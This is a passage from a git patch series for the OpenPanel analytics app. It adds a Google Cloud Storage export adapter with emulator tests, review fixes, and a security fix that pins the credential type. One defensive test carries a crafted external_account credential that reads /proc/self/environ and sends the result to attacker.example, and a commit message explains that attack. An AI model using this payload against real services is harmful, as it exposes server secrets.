+ * docker run -d --name fake-gcs -p 4443:4443 fsouza/fake-gcs-server \
+ * -scheme http -host 0.0.0.0 -port 4443 -public-host localhost:4443
+ *
+ * The whole suite skips when it isn't reachable, so `pnpm test` stays green
+ * without Docker.
+ */
+const EMULATOR = process.env.GCS_API_ENDPOINT ?? 'http://localhost:4443';
+const BUCKET = 'op-gcs-adapter-test';
+
+// A structurally valid service account key. fake-gcs-server does no auth, and
+// the SDK skips token exchange when pointed at a custom endpoint, so the key is
+// only ever parsed — never used to sign.
+const SERVICE_ACCOUNT_KEY = JSON.stringify({
+ type: 'service_account',
+ project_id: 'openpanel-test',
+ private_key_id: 'test-key-id',
+ private_key: 'test-private-key',
+ client_email: 'exporter@openpanel-test.iam.gserviceaccount.com',
+ client_id: '000000000000000000000',
+});
+
+async function emulatorReachable(): Promise {
+ try {
+ const res = await fetch(`${EMULATOR}/storage/v1/b`, {
+ signal: AbortSignal.timeout(2000),
+ });
+ return res.ok;
+ } catch {
+ return false;
+ }
+}
+
+async function createBucket(name: string): Promise {
+ await fetch(`${EMULATOR}/storage/v1/b`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name }),
+ });
+}
+
+async function readObject(bucket: string, key: string): Promise {
+ const res = await fetch(
+ `${EMULATOR}/storage/v1/b/${bucket}/o/${encodeURIComponent(key)}?alt=media`,
+ );
+ if (!res.ok) {
+ throw new Error(`Object ${key} not readable: ${res.status}`);
+ }
+ return Buffer.from(await res.arrayBuffer());
+}
+
+function adapter(overrides: { bucket?: string; serviceAccountKey?: string } = {}) {
+ return createGCSAdapter({
+ type: 'gcs_export',
+ bucket: overrides.bucket ?? BUCKET,
+ prefix: 'openpanel-exports',
+ format: 'jsonl_gzip',
+ serviceAccountKey: overrides.serviceAccountKey ?? SERVICE_ACCOUNT_KEY,
+ });
+}
+
+const available = await emulatorReachable();
+
+describe.skipIf(!available)('GCSAdapter (fake-gcs-server)', () => {
+ beforeAll(async () => {
+ process.env.GCS_API_ENDPOINT = EMULATOR;
+ await createBucket(BUCKET);
+ });
+
+ describe('testConnection', () => {
+ it('succeeds when the service account can write to the bucket', async () => {
+ await expect(adapter().testConnection()).resolves.toEqual({
+ success: true,
+ });
+ });
+
+ it('cleans up the probe object it wrote', async () => {
+ await adapter().testConnection();
+
+ await expect(
+ readObject(BUCKET, 'openpanel-exports/.openpanel-connection-test'),
+ ).rejects.toThrow();
+ });
+
+ it('fails with a readable message when the bucket does not exist', async () => {
+ const res = await adapter({ bucket: 'no-such-bucket' }).testConnection();
+
+ expect(res.success).toBe(false);
+ expect(res.error).toBe(
+ "Bucket 'no-such-bucket' does not exist or is not accessible",
+ );
+ });
+
+ it('fails instead of throwing on an unparseable service account key', async () => {
+ const res = await adapter({
+ serviceAccountKey: 'not-json',
+ }).testConnection();
+
+ expect(res.success).toBe(false);
+ expect(res.error).toBe('Invalid service account key JSON');
+ });
+ });
+
+ describe('upload', () => {
+ it('stores the bytes and reports where they went', async () => {
+ const key = 'upload/plain.txt';
+ const result = await adapter().upload({
+ bucket: BUCKET,
+ key,
+ content: Buffer.from('hello openpanel'),
+ contentType: 'text/plain',
+ });
+
+ expect(result).toMatchObject({
+ bucket: BUCKET,
+ key,
+ location: `gs://${BUCKET}/${key}`,
+ });
+ expect(result.etag).toBeTruthy();
+ expect((await readObject(BUCKET, key)).toString()).toBe('hello openpanel');
+ });
+
+ it('accepts string content', async () => {
+ const key = 'upload/string.json';
+ await adapter().upload({
+ bucket: BUCKET,
+ key,
+ content: '{"a":1}',
+ contentType: 'application/json',
+ });
+
+ expect((await readObject(BUCKET, key)).toString()).toBe('{"a":1}');
+ });
+
+ it('round-trips gzipped bytes without corruption', async () => {
+ // The export format is jsonl_gzip, so a byte-exact binary round trip is
+ // the property that actually matters here.
+ const key = 'upload/part-0000.jsonl.gz';
+ const jsonl = `${['a', 'b', 'c']
+ .map((name, i) => JSON.stringify({ name, i }))
+ .join('\n')}\n`;
+ const gzipped = gzipSync(Buffer.from(jsonl));
+
+ await adapter().upload({
+ bucket: BUCKET,
+ key,
+ content: gzipped,
+ contentType: 'application/gzip',
+ });
+
+ const stored = await readObject(BUCKET, key);
+ expect(stored.equals(gzipped)).toBe(true);
+ expect(gunzipSync(stored).toString()).toBe(jsonl);
+ });
+
+ it('decrypts an encrypted service account key', async () => {
+ process.env.ENCRYPTION_KEY = 'a'.repeat(64);
+ const key = 'upload/encrypted-creds.txt';
+
+ await adapter({
+ serviceAccountKey: encryptCredential(SERVICE_ACCOUNT_KEY),
+ }).upload({
+ bucket: BUCKET,
+ key,
+ content: 'ok',
+ contentType: 'text/plain',
+ });
+
+ expect((await readObject(BUCKET, key)).toString()).toBe('ok');
+ });
+ });
+
+ describe('uploadMany', () => {
+ it('uploads every file and preserves input order', async () => {
+ const results = await adapter().uploadMany(
+ [0, 1, 2].map((i) => ({
+ bucket: BUCKET,
+ key: `many/file-${i}.txt`,
+ content: `content-${i}`,
+ contentType: 'text/plain',
+ })),
+ );
+
+ expect(results).toHaveLength(3);
+ results.forEach((result, i) => {
+ expect(result).not.toBeInstanceOf(Error);
+ expect((result as { key: string }).key).toBe(`many/file-${i}.txt`);
+ });
+ expect((await readObject(BUCKET, 'many/file-1.txt')).toString()).toBe(
+ 'content-1',
+ );
+ });
+
+ it('returns failures as Errors rather than rejecting the whole batch', async () => {
+ // One good target, one bucket that does not exist: the caller must still
+ // learn which uploads landed, so a partial failure can't lose the rest.
+ const results = await adapter().uploadMany([
+ {
+ bucket: BUCKET,
+ key: 'partial/ok.txt',
+ content: 'ok',
+ contentType: 'text/plain',
+ },
+ {
+ bucket: 'no-such-bucket',
+ key: 'partial/bad.txt',
+ content: 'bad',
+ contentType: 'text/plain',
+ },
+ ]);
+
+ expect(results[0]).not.toBeInstanceOf(Error);
+ expect(results[1]).toBeInstanceOf(Error);
+ });
+ });
+});
diff --git a/packages/integrations/src/object-store/gcs-adapter.ts b/packages/integrations/src/object-store/gcs-adapter.ts
index ebfa035a0..5f10d206b 100644
--- a/packages/integrations/src/object-store/gcs-adapter.ts
+++ b/packages/integrations/src/object-store/gcs-adapter.ts
@@ -11,6 +11,9 @@ import type {
const logger = createLogger({ name: 'gcs-adapter' });
+/** Object written by `testConnection`; named so it is obvious in a bucket. */
+const CONNECTION_TEST_FILENAME = '.openpanel-connection-test';
+
/**
* GCS Adapter for uploading export batches to Google Cloud Storage
* Uses service account credentials for authentication
@@ -39,9 +42,20 @@ export class GCSAdapter implements IObjectStoreAdapter {
// Parse the service account key JSON
const credentials = JSON.parse(this.config.serviceAccountKey);
+ // Endpoint override. Real GCS needs none (the SDK resolves it), but
+ // pointing the client at a local fake-gcs-server is the only way to
+ // exercise this adapter without live Google credentials — the same
+ // escape hatch the S3 adapter has via `endpoint`.
+ //
+ // Deliberately NOT the SDK's own `STORAGE_EMULATOR_HOST`: in v7 that var
+ // is applied to the JSON API base but not the upload base, so metadata
+ // reads and uploads can't both resolve. `apiEndpoint` sets both.
+ const apiEndpoint = process.env.GCS_API_ENDPOINT;
+
this.storage = new Storage({
credentials,
projectId: credentials.project_id,
+ ...(apiEndpoint ? { apiEndpoint } : {}),
});
logger.debug(
@@ -80,14 +94,15 @@ export class GCSAdapter implements IObjectStoreAdapter {
},
});
- // Get file metadata to retrieve the generation (similar to etag)
- const [metadata] = await file.getMetadata();
+ // `save` populates `file.metadata` from the upload response, so re-reading
+ // it with getMetadata() would double the request count of every export.
+ const metadata = file.metadata;
logger.debug(
{
bucket: options.bucket,
key: options.key,
- generation: metadata.generation,
+ generation: metadata?.generation,
},
'File uploaded to GCS',
);
@@ -95,7 +110,7 @@ export class GCSAdapter implements IObjectStoreAdapter {
return {
bucket: options.bucket,
key: options.key,
- etag: metadata.etag || undefined,
+ etag: metadata?.etag || undefined,
location: `gs://${options.bucket}/${options.key}`,
};
} catch (error) {
@@ -132,28 +147,49 @@ export class GCSAdapter implements IObjectStoreAdapter {
}
/**
- * Test the connection to GCS bucket
+ * Test the connection by writing a probe object.
+ *
+ * Deliberately not `bucket.exists()`: reading bucket metadata needs
+ * `storage.buckets.get`, which the least-privilege grant for an export target
+ * (roles/storage.objectCreator, roles/storage.objectAdmin) does NOT include.
+ * That check fails with a 403 on a correctly configured bucket while the
+ * export itself would work fine. Writing an object exercises exactly the
+ * permission the export needs, so a pass here means a pass at flush time.
*/
async testConnection(): Promise<{ success: boolean; error?: string }> {
try {
const storage = this.getStorage();
const bucket = storage.bucket(this.config.bucket);
+ const prefix = this.config.prefix || 'openpanel-exports';
+ const file = bucket.file(`${prefix}/${CONNECTION_TEST_FILENAME}`);
- // Check if bucket exists and we have access
- const [exists] = await bucket.exists();
+ await file.save(Buffer.from('openpanel connection test\n'), {
+ contentType: 'text/plain',
+ resumable: false,
+ });
- if (!exists) {
- return {
- success: false,
- error: `Bucket '${this.config.bucket}' does not exist or is not accessible`,
- };
- }
+ // Best effort: objectCreator can write but not delete, and a stray
+ // zero-value probe object must not turn a working setup into a failure.
+ await file.delete().catch(() => undefined);
return { success: true };
} catch (error) {
- const message = error instanceof Error ? error.message : 'Unknown error';
- return { success: false, error: message };
+ return { success: false, error: this.describeError(error) };
+ }
+ }
+
+ /** Turn an SDK error into something a user can act on. */
+ private describeError(error: unknown): string {
+ const code = (error as { code?: number } | null)?.code;
+
+ if (code === 404) {
+ return `Bucket '${this.config.bucket}' does not exist or is not accessible`;
}
+ if (code === 401 || code === 403) {
+ return `The service account cannot write to bucket '${this.config.bucket}'. Grant it roles/storage.objectAdmin (or objectCreator) on the bucket.`;
+ }
+
+ return error instanceof Error ? error.message : 'Unknown error';
}
}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index b61b34eef..a88b23d96 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -1500,6 +1500,9 @@ importers:
'@openpanel/js-runtime':
specifier: workspace:*
version: link:../js-runtime
+ '@openpanel/logger':
+ specifier: workspace:*
+ version: link:../logger
'@openpanel/validation':
specifier: workspace:*
version: link:../validation
@@ -1510,9 +1513,6 @@ importers:
specifier: ^3.0.0
version: 3.0.1(debug@4.4.3(supports-color@10.2.0))
devDependencies:
- '@openpanel/logger':
- specifier: workspace:*
- version: link:../logger
'@openpanel/tsconfig':
specifier: workspace:*
version: link:../../tooling/typescript
@@ -35360,7 +35360,7 @@ snapshots:
is-core-module@2.16.1:
dependencies:
- hasown: 2.0.2
+ hasown: 2.0.4
is-data-view@1.0.1:
dependencies:
From 49965956743ad4874d4eb8e3fb499beaa06a4039 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Sat, 29 Aug 2026 10:41:23 +0200
Subject: [PATCH 12/15] chore(db): renumber migrations after rebase onto main
(again)
main landed migration 20260828120000 and code-migrations 20/21 since the
last renumber, so this branch's two Prisma migrations and the ClickHouse
code-migration sorted before them again.
Renumbered to sort last; contents unchanged. None of these have been
deployed, so renaming the directories is safe.
Claude-Session: https://claude.ai/code/session_01MfxSQT66GbrE11cYb6qbdy
---
...{21-add-events-inserted-at.ts => 22-add-events-inserted-at.ts} | 0
.../migration.sql | 0
.../migration.sql | 0
3 files changed, 0 insertions(+), 0 deletions(-)
rename packages/db/code-migrations/{21-add-events-inserted-at.ts => 22-add-events-inserted-at.ts} (100%)
rename packages/db/prisma/migrations/{20260826120000_export_watermarks => 20260828130000_export_watermarks}/migration.sql (100%)
rename packages/db/prisma/migrations/{20260826120100_integration_project_scope => 20260828130100_integration_project_scope}/migration.sql (100%)
diff --git a/packages/db/code-migrations/21-add-events-inserted-at.ts b/packages/db/code-migrations/22-add-events-inserted-at.ts
similarity index 100%
rename from packages/db/code-migrations/21-add-events-inserted-at.ts
rename to packages/db/code-migrations/22-add-events-inserted-at.ts
diff --git a/packages/db/prisma/migrations/20260826120000_export_watermarks/migration.sql b/packages/db/prisma/migrations/20260828130000_export_watermarks/migration.sql
similarity index 100%
rename from packages/db/prisma/migrations/20260826120000_export_watermarks/migration.sql
rename to packages/db/prisma/migrations/20260828130000_export_watermarks/migration.sql
diff --git a/packages/db/prisma/migrations/20260826120100_integration_project_scope/migration.sql b/packages/db/prisma/migrations/20260828130100_integration_project_scope/migration.sql
similarity index 100%
rename from packages/db/prisma/migrations/20260826120100_integration_project_scope/migration.sql
rename to packages/db/prisma/migrations/20260828130100_integration_project_scope/migration.sql
From aacbbb5145929d623aebbcffe26f9015867cf393 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Sat, 29 Aug 2026 10:49:18 +0200
Subject: [PATCH 13/15] fix(integrations): address CodeRabbit review findings
- encryption: concatenate the decipher buffers before decoding. AES-GCM is a
stream cipher, so update() can end mid multi-byte UTF-8 character and the
implicit per-chunk toString would emit replacement chars. Covered by a test.
- ssrf: compare SELF_HOSTED to "true"/"1" instead of bare truthiness, matching
the rest of the repo. SELF_HOSTED="false" was skipping assertPublicUrl before
connecting to a tenant-supplied S3 endpoint.
- ssrf test: restore an originally-unset SELF_HOSTED by deleting it (assigning
undefined leaves the truthy string "undefined").
- exports: drop `parquet` from ExportFormat and the config schemas. createBatch
always threw for it, so a parquet-configured integration could never export.
- code-migration 22: MATERIALIZE INDEX after ADD INDEX so existing event parts
are indexed, same as 18-events-profile-id-index.ts.
- slack: build the install URL from the authorized integration's own projectId
on update, so the OAuth metadata and post-callback redirect can't point at a
different project than the row.
- notification rules: reject integrations without the `notification` kind and
filter them out of the picker. S3/GCS rows were selectable and only failed
later in the worker with "is not a notification sink".
Claude-Session: https://claude.ai/code/session_01MfxSQT66GbrE11cYb6qbdy
---
apps/start/src/modals/add-notification-rule.tsx | 8 ++++++--
packages/common/server/encryption.test.ts | 8 ++++++++
packages/common/server/encryption.ts | 7 ++++++-
packages/common/server/ssrf.test.ts | 8 +++++++-
packages/common/server/ssrf.ts | 7 ++++++-
.../22-add-events-inserted-at.ts | 11 +++++++++++
packages/db/src/exports/batch-creator.ts | 10 +---------
packages/trpc/src/routers/integration.ts | 8 +++++++-
packages/trpc/src/routers/notification.ts | 17 +++++++++++++++--
packages/validation/src/integrations.ts | 8 ++++++--
10 files changed, 73 insertions(+), 19 deletions(-)
diff --git a/apps/start/src/modals/add-notification-rule.tsx b/apps/start/src/modals/add-notification-rule.tsx
index d9e83a575..85862dca1 100644
--- a/apps/start/src/modals/add-notification-rule.tsx
+++ b/apps/start/src/modals/add-notification-rule.tsx
@@ -1,6 +1,6 @@
import { zodResolver } from '@hookform/resolvers/zod';
import { shortId } from '@openpanel/common';
-import { zCreateNotificationRule } from '@openpanel/validation';
+import { isKind, zCreateNotificationRule } from '@openpanel/validation';
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query';
import { FilterIcon, PlusIcon, SaveIcon, TrashIcon } from 'lucide-react';
import {
@@ -97,7 +97,11 @@ export default function AddNotificationRule({ rule }: Props) {
mutation.mutate(data);
};
- const integrations = integrationsQuery.data ?? [];
+ // Only notification sinks belong in a rule — export integrations (S3/GCS)
+ // come back from the same list endpoint but have nothing to deliver to.
+ const integrations = (integrationsQuery.data ?? []).filter((integration) =>
+ isKind(integration.config, 'notification'),
+ );
return (
diff --git a/packages/common/server/encryption.test.ts b/packages/common/server/encryption.test.ts
index d2fe657fd..fc64724b5 100644
--- a/packages/common/server/encryption.test.ts
+++ b/packages/common/server/encryption.test.ts
@@ -36,4 +36,12 @@ describe('encryption (single ENCRYPTION_KEY)', () => {
it('decryptCredential passes plaintext through (test-connection flow)', () => {
expect(decryptCredential('plaintext')).toBe('plaintext');
});
+
+ it('decrypt round-trips multi-byte UTF-8 across cipher chunk boundaries', () => {
+ // GCM is a stream cipher: update() can return a chunk ending mid-character,
+ // so decoding per chunk instead of after concatenation corrupts the value.
+ const secret = `${'ä'.repeat(500)}🔐日本語`;
+ expect(decrypt(encrypt(secret))).toBe(secret);
+ expect(decryptCredential(encryptCredential(secret))).toBe(secret);
+ });
});
diff --git a/packages/common/server/encryption.ts b/packages/common/server/encryption.ts
index 39f7c385a..223a32c0d 100644
--- a/packages/common/server/encryption.ts
+++ b/packages/common/server/encryption.ts
@@ -53,7 +53,12 @@ export function decrypt(ciphertext: string): string {
const encrypted = buf.subarray(IV_LENGTH + AUTH_TAG_LENGTH);
const decipher = createDecipheriv(ALGORITHM, key, iv);
decipher.setAuthTag(tag);
- return decipher.update(encrypted) + decipher.final('utf8');
+ // Concatenate first, decode once: GCM is a stream cipher, so update() can end
+ // mid-way through a multi-byte UTF-8 sequence and a per-chunk toString would
+ // turn the split character into replacement chars.
+ return Buffer.concat([decipher.update(encrypted), decipher.final()]).toString(
+ 'utf8',
+ );
}
// ---------------------------------------------------------------------------
diff --git a/packages/common/server/ssrf.test.ts b/packages/common/server/ssrf.test.ts
index d7683fb96..9b61d1ded 100644
--- a/packages/common/server/ssrf.test.ts
+++ b/packages/common/server/ssrf.test.ts
@@ -4,7 +4,13 @@ import { assertSafeUrl } from './ssrf';
describe('assertSafeUrl', () => {
const original = process.env.SELF_HOSTED;
afterEach(() => {
- process.env.SELF_HOSTED = original;
+ // Assigning undefined would leave the string "undefined" behind, which is
+ // truthy — restore by deleting instead.
+ if (original === undefined) {
+ delete process.env.SELF_HOSTED;
+ } else {
+ process.env.SELF_HOSTED = original;
+ }
});
it('rejects non-http(s) schemes on the cloud', async () => {
diff --git a/packages/common/server/ssrf.ts b/packages/common/server/ssrf.ts
index a8632d864..65f08d476 100644
--- a/packages/common/server/ssrf.ts
+++ b/packages/common/server/ssrf.ts
@@ -17,7 +17,12 @@ import { assertPublicUrl } from './safe-fetch';
* private/metadata URLs and hostnames pointing at internal IPs).
*/
export async function assertSafeUrl(rawUrl: string): Promise {
- if (process.env.SELF_HOSTED) {
+ // Compare explicitly: bare truthiness would treat SELF_HOSTED="false" as
+ // self-hosted and silently drop the guard on the cloud.
+ if (
+ process.env.SELF_HOSTED === 'true' ||
+ process.env.SELF_HOSTED === '1'
+ ) {
return;
}
diff --git a/packages/db/code-migrations/22-add-events-inserted-at.ts b/packages/db/code-migrations/22-add-events-inserted-at.ts
index c7964fff2..8c546e3dd 100644
--- a/packages/db/code-migrations/22-add-events-inserted-at.ts
+++ b/packages/db/code-migrations/22-add-events-inserted-at.ts
@@ -28,6 +28,16 @@ export async function up() {
? `ALTER TABLE events_replicated ON CLUSTER '{cluster}' ${indexExpr}`
: `ALTER TABLE events ${indexExpr}`;
+ // ADD INDEX is metadata-only: it covers newly written parts, so without this
+ // the export scan keeps reading every historical granule until unrelated
+ // merges happen to rewrite them. MATERIALIZE INDEX submits an async mutation
+ // that backfills the existing parts (same pattern as
+ // 18-events-profile-id-index.ts); it returns immediately and the mutation
+ // progresses in the background.
+ const materializeIndexSql = isClustered
+ ? `ALTER TABLE events_replicated ON CLUSTER '{cluster}' MATERIALIZE INDEX ${indexName}`
+ : `ALTER TABLE events MATERIALIZE INDEX ${indexName}`;
+
const sqls: string[] = [
...addColumns(
'events',
@@ -35,6 +45,7 @@ export async function up() {
isClustered,
),
indexSql,
+ materializeIndexSql,
];
fs.writeFileSync(
diff --git a/packages/db/src/exports/batch-creator.ts b/packages/db/src/exports/batch-creator.ts
index 3880c35ec..3c737f534 100644
--- a/packages/db/src/exports/batch-creator.ts
+++ b/packages/db/src/exports/batch-creator.ts
@@ -11,7 +11,7 @@ const logger = createLogger({ name: 'batch-creator' });
/**
* Supported export formats
*/
-export type ExportFormat = 'jsonl_gzip' | 'parquet';
+export type ExportFormat = 'jsonl_gzip';
/**
* Batch metadata for tracking
@@ -78,8 +78,6 @@ export function getFileExtension(format: ExportFormat): string {
switch (format) {
case 'jsonl_gzip':
return 'jsonl.gz';
- case 'parquet':
- return 'parquet';
}
}
@@ -90,8 +88,6 @@ export function getContentType(format: ExportFormat): string {
switch (format) {
case 'jsonl_gzip':
return 'application/gzip';
- case 'parquet':
- return 'application/vnd.apache.parquet';
}
}
@@ -196,10 +192,6 @@ export async function createBatch(
});
break;
}
- case 'parquet': {
- // Parquet support to be implemented later
- throw new Error('Parquet format not yet implemented');
- }
}
logger.info(
diff --git a/packages/trpc/src/routers/integration.ts b/packages/trpc/src/routers/integration.ts
index f29cbccc5..19b9ce93f 100644
--- a/packages/trpc/src/routers/integration.ts
+++ b/packages/trpc/src/routers/integration.ts
@@ -180,6 +180,10 @@ export const integrationRouter = createTRPCRouter({
// For an update, authorize against the existing integration's scope so a
// user can't clear/re-install another project's Slack integration.
let organizationId: string;
+ // Carried into the OAuth metadata and the post-callback redirect, so it
+ // has to be the row's own project — not whatever `input` asked for, which
+ // on an update is unauthorized and may point at a different project.
+ let projectId: string;
if (input.id) {
const existing = await db.integration.findUniqueOrThrow({
where: { id: input.id },
@@ -187,12 +191,14 @@ export const integrationRouter = createTRPCRouter({
});
await assertIntegrationAccess(ctx.session.userId, existing, 'write');
organizationId = existing.organizationId;
+ projectId = existing.projectId ?? input.projectId;
} else {
organizationId = await assertProjectAccessAndGetOrg(
ctx.session.userId,
input.projectId,
'write',
);
+ projectId = input.projectId;
}
const res = input.id
@@ -222,7 +228,7 @@ export const integrationRouter = createTRPCRouter({
slackInstallUrl: await getSlackInstallUrl({
integrationId: res.id,
organizationId,
- projectId: input.projectId,
+ projectId,
}),
};
}),
diff --git a/packages/trpc/src/routers/notification.ts b/packages/trpc/src/routers/notification.ts
index 0b8226482..f4153f05d 100644
--- a/packages/trpc/src/routers/notification.ts
+++ b/packages/trpc/src/routers/notification.ts
@@ -8,7 +8,7 @@ import {
getNotificationRulesByProjectId,
isBaseIntegration,
} from '@openpanel/db';
-import { zCreateNotificationRule } from '@openpanel/validation';
+import { isKind, zCreateNotificationRule } from '@openpanel/validation';
import { requireProjectAccess } from '../access';
import { TRPCBadRequestError, TRPCForbiddenError } from '../errors';
@@ -100,7 +100,12 @@ export const notificationRouter = createTRPCRouter({
if (integrationIds.length > 0) {
const integrations = await db.integration.findMany({
where: { id: { in: integrationIds } },
- select: { id: true, projectId: true, organizationId: true },
+ select: {
+ id: true,
+ projectId: true,
+ organizationId: true,
+ config: true,
+ },
});
if (integrations.length !== integrationIds.length) {
throw new TRPCBadRequestError(
@@ -117,6 +122,14 @@ export const notificationRouter = createTRPCRouter({
'Integration does not belong to this project',
);
}
+ // Export-only integrations (s3_export, gcs_export) have no
+ // notification handler in the registry — attaching one to a rule
+ // would only surface later as a throw in the notification worker.
+ if (!isKind(integration.config, 'notification')) {
+ throw new TRPCBadRequestError(
+ 'Integration cannot be used to deliver notifications',
+ );
+ }
}
}
diff --git a/packages/validation/src/integrations.ts b/packages/validation/src/integrations.ts
index 1d6f63e9b..90b9fc997 100644
--- a/packages/validation/src/integrations.ts
+++ b/packages/validation/src/integrations.ts
@@ -66,7 +66,9 @@ const zS3ExportConfigBase = z.object({
prefix: z.string().default('openpanel-exports'),
region: z.string().min(1, 'Region is required'),
endpoint: z.string().url().optional(), // For R2, MinIO, etc.
- format: z.enum(['jsonl_gzip', 'parquet']).default('jsonl_gzip'),
+ // Only jsonl_gzip is implemented; adding a format here without a
+ // `createBatch` branch persists a config whose exports can never run.
+ format: z.enum(['jsonl_gzip']).default('jsonl_gzip'),
// Optional encryption settings (S3-side encryption)
encryption: z.enum(['SSE-S3', 'SSE-KMS', 'none']).default('SSE-S3'),
kmsKeyId: z.string().optional(),
@@ -107,7 +109,9 @@ export const zGCSExportConfig = z.object({
type: z.literal('gcs_export'),
bucket: z.string().min(1, 'Bucket name is required'),
prefix: z.string().default('openpanel-exports'),
- format: z.enum(['jsonl_gzip', 'parquet']).default('jsonl_gzip'),
+ // Only jsonl_gzip is implemented; adding a format here without a
+ // `createBatch` branch persists a config whose exports can never run.
+ format: z.enum(['jsonl_gzip']).default('jsonl_gzip'),
// Service account credentials (JSON key as string)
serviceAccountKey: z.string().min(1, 'Service account key is required'),
});
From 6186180e28953584f690eb3d4d48ec97e4400d13 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Sat, 29 Aug 2026 19:40:08 +0200
Subject: [PATCH 14/15] fix(integrations): pin GCS credential type, make export
secrets write-only
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Two findings from a security review of this PR.
HIGH — GCS credential type confusion (arbitrary file read + SSRF).
`GCSAdapter.getStorage` JSON.parsed the tenant-supplied `serviceAccountKey`
and handed the raw document to `new Storage({ credentials })`. google-auth-
library dispatches on the document's `type`: an `external_account` document is
routed to ExternalAccountClient, whose `credential_source.file` reads any local
path and whose `credential_source.url` issues an unguarded request with
attacker-chosen headers, with the result POSTed to an unvalidated `token_url`.
Verified against the vendored google-auth-library@9.15.1: googleauth.js:440-462
dispatch, identitypoolclient.js:74-88 suppliers, baseexternalclient.js:110
token_url. Anyone with write on any one project could read /proc/self/environ
off the API process — which holds ENCRYPTION_KEY, the single key for all
at-rest secrets — via the Test connection button, and again from the worker on
every flushExports tick once saved.
Now parsed and pinned by `parseServiceAccountKey` before it reaches the SDK,
and the client is built from allowlisted fields with no `type` key at all, so
GoogleAuth can only fall through to its JWT branch. The zod schema rejects
non-service-account documents on the way in; the adapter re-checks, covering
rows written before the schema and any future caller.
MEDIUM — replayable credential ciphertext exposed at read access.
`integration.list`/`get` returned the whole config, including the `enc:`
ciphertext, to anyone with project membership, and `decryptCredential` accepts
any `enc:` blob under the global key with no binding to the row. A read-only
member could lift a ciphertext and replay it through `testConnection` or a new
integration to make the server authenticate as those credentials against a
destination of their choosing.
Credentials are now write-only: redacted on read, rejected if an `enc:` value
arrives on any input path, and carried over from the stored row when an update
submits a blank (the forms say so). One `secretFields` declaration per plugin
drives encrypt/redact/carry-over, replacing the `encryptCredentials` hook, so
the three can't drift apart as integrations are added.
Tests: credential-type rejection at both the schema and adapter layers, and the
secret lifecycle. Verified against a live fake-gcs-server — uploads, manifests
and the encrypted-key path all still work (994 passing with the emulator up).
Fixed two test fixtures that carried incomplete service-account documents.
Claude-Session: https://claude.ai/code/session_01MfxSQT66GbrE11cYb6qbdy
---
.../forms/gcs-export-integration.tsx | 13 +-
.../forms/s3-export-integration.tsx | 8 +-
.../src/jobs/cron.flush-exports.test.ts | 4 +
.../src/object-store/gcs-adapter.test.ts | 42 +++++-
.../src/object-store/gcs-adapter.ts | 40 ++++-
packages/integrations/src/registry.test.ts | 102 +++++++++++++
packages/integrations/src/registry.ts | 138 ++++++++++++++++--
packages/trpc/src/routers/integration.ts | 68 +++++++--
packages/validation/src/integrations.test.ts | 133 ++++++++++++++++-
packages/validation/src/integrations.ts | 126 +++++++++++++++-
10 files changed, 636 insertions(+), 38 deletions(-)
create mode 100644 packages/integrations/src/registry.test.ts
diff --git a/apps/start/src/components/integrations/forms/gcs-export-integration.tsx b/apps/start/src/components/integrations/forms/gcs-export-integration.tsx
index ea23b31db..96c39e462 100644
--- a/apps/start/src/components/integrations/forms/gcs-export-integration.tsx
+++ b/apps/start/src/components/integrations/forms/gcs-export-integration.tsx
@@ -141,7 +141,13 @@ export function GCSExportIntegrationForm({
{!!path(
@@ -158,8 +164,9 @@ export function GCSExportIntegrationForm({
)}
- Paste the contents of your GCS service account JSON key file. The
- service account needs write access to the specified bucket.
+ Paste the contents of your GCS service account JSON key file (a
+ document with "type": "service_account"). The service
+ account needs write access to the specified bucket.
diff --git a/apps/start/src/components/integrations/forms/s3-export-integration.tsx b/apps/start/src/components/integrations/forms/s3-export-integration.tsx
index 816dd78be..705ea9939 100644
--- a/apps/start/src/components/integrations/forms/s3-export-integration.tsx
+++ b/apps/start/src/components/integrations/forms/s3-export-integration.tsx
@@ -261,7 +261,13 @@ export function S3ExportIntegrationForm({
diff --git a/apps/worker/src/jobs/cron.flush-exports.test.ts b/apps/worker/src/jobs/cron.flush-exports.test.ts
index c787c77ef..54bbc64dd 100644
--- a/apps/worker/src/jobs/cron.flush-exports.test.ts
+++ b/apps/worker/src/jobs/cron.flush-exports.test.ts
@@ -37,10 +37,14 @@ async function emulatorReachable(): Promise {
const available = await emulatorReachable();
+// A structurally complete service account document. fake-gcs-server does no
+// auth, but the adapter pins the credential type and requires the fields a real
+// key has before it will build a client.
const KEY = JSON.stringify({
type: 'service_account',
project_id: 'openpanel-test',
client_email: 'e@x.iam.gserviceaccount.com',
+ private_key: 'test-private-key',
});
const chEvent = (i: number) =>
diff --git a/packages/integrations/src/object-store/gcs-adapter.test.ts b/packages/integrations/src/object-store/gcs-adapter.test.ts
index 0673cd2ae..d39058659 100644
--- a/packages/integrations/src/object-store/gcs-adapter.test.ts
+++ b/packages/integrations/src/object-store/gcs-adapter.test.ts
@@ -70,6 +70,46 @@ function adapter(overrides: { bucket?: string; serviceAccountKey?: string } = {}
});
}
+// Runs without the emulator: the credential document is rejected before any
+// client is constructed, so there is nothing to connect to.
+describe('GCSAdapter credential validation', () => {
+ it('refuses an external_account document', async () => {
+ // google-auth-library dispatches on `type`. external_account would hand the
+ // document's author arbitrary local file reads (credential_source.file) and
+ // unguarded outbound requests (credential_source.url), exfiltrated to an
+ // attacker-chosen token_url. The config is tenant-supplied, so this document
+ // must never reach the SDK.
+ const result = await adapter({
+ serviceAccountKey: JSON.stringify({
+ type: 'external_account',
+ audience: '//iam.googleapis.com/projects/1/x',
+ subject_token_type: 'urn:ietf:params:oauth:token-type:jwt',
+ token_url: 'https://attacker.example/collect',
+ credential_source: { file: '/proc/self/environ' },
+ }),
+ }).testConnection();
+
+ expect(result.success).toBe(false);
+ expect(result.error).toContain('external_account');
+ });
+
+ it('refuses a document that is not JSON', async () => {
+ const result = await adapter({ serviceAccountKey: 'nope' }).testConnection();
+ expect(result.success).toBe(false);
